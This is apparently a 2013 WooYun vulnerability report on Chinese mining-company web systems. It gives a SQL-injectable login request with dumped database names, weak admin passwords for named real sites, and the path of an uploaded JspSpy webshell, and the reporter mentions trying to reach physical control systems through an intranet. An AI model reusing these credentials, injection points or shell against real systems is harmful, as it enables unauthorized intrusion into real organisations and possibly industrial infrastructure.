当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021934

漏洞标题：一些矿业系统的一些小问题，可能涉及通用，望重视

相关厂商：cncert国家互联网应急中心

漏洞作者： 小胖子

提交时间：2013-04-16 10:46

修复时间：2013-04-21 10:46

公开时间：2013-04-21 10:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-16： 细节已通知厂商并且等待厂商处理中
2013-04-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

手里还有个进入了内网，在尝试能不能控制到物理设备，能控制再发，先发点到处乱挖过程中发现的东西。

详细说明：

站点1：
http://www.chinasafety.ac.cn/ 中国安全生产科学研究院
http://www.chinasafety.ac.cn:8888/ 尾矿普查与管理系统，后台登陆框注射，也波及到主站程序，这个没深入，打酱油撸过。

POST /login.asp HTTP/1.1
Host: 211.100.28.132:8888
Proxy-Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://211.100.28.132:8888
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.20 (KHTML, like Gecko) Chrome/25.0.1337.0 Safari/537.20
Content-Type: application/x-www-form-urlencoded
Referer: http://211.100.28.132:8888/default_bak.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSTBATSD=AJJBHJACCAKINNINEFLEBHPK
nick_name=admin&password=123456789


available databases [13]:
[*] bak_casst
[*] bbs
[*] casst
[*] cgzh
[*] la
[*] master
[*] model
[*] msdb
[*] RegSafeEngineer
[*] ReportServer
[*] ReportServerTempDB
[*] TailingStore
[*] tempdb


站点2：
http://www.jllyky.cn/JMWebLucene 辽源矿业(集团)有限责任公司图件管理系统
后台弱口令 admin/123456

lianxi.jpg


上传无限制导致shell。PR5，做黑产的可能笑尿了，然后提权发现内网没有生产相关的系统。

20130415212941.jpg


shell地址：http://www.jllyky.cn/JMWebLucenehttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/disk/%E8%A5%BF%E5%AE%89%E7%85%A4%E4%B8%9A/%E4%B8%80%E5%8C%BA/JspSpy.jsp
站点三：http://logon.engineer.minmetals.com.cn/sso/
中国五矿集团统一登录地址弱口令，admin/admin

.jpg


五矿集团可能有后续，如问题描述，发现三个生产管理系统，后续再说吧。

漏洞证明：

见详细说明。

修复方案：

1：注射过滤。
2：弱口令修改。
3：设计敏感信息的后台及发布地址不要对外。

版权声明：转载请注明来源 小胖子@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-04-21 10:46

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-16 12:02 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    关注胖子兄

  2. 2013-04-16 16:26 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    筒子们可以多关注关注工业上的应用。

  3. 2013-04-16 16:45 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @Z-0ne 哥，这个只是在我找工控系统过程中发现的一些皮毛web系统，内网的实体控制系统还在找密码，我擦，有密码男子汉，没密码汉子难啊！！！！

  4. 2013-04-16 18:27 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Z-0ne 洞主在哪里啊，这次沙龙去不去了

  5. 2013-04-20 11:30 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)

    关注胖子基友！！

  6. 2013-04-23 15:53 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    好洞！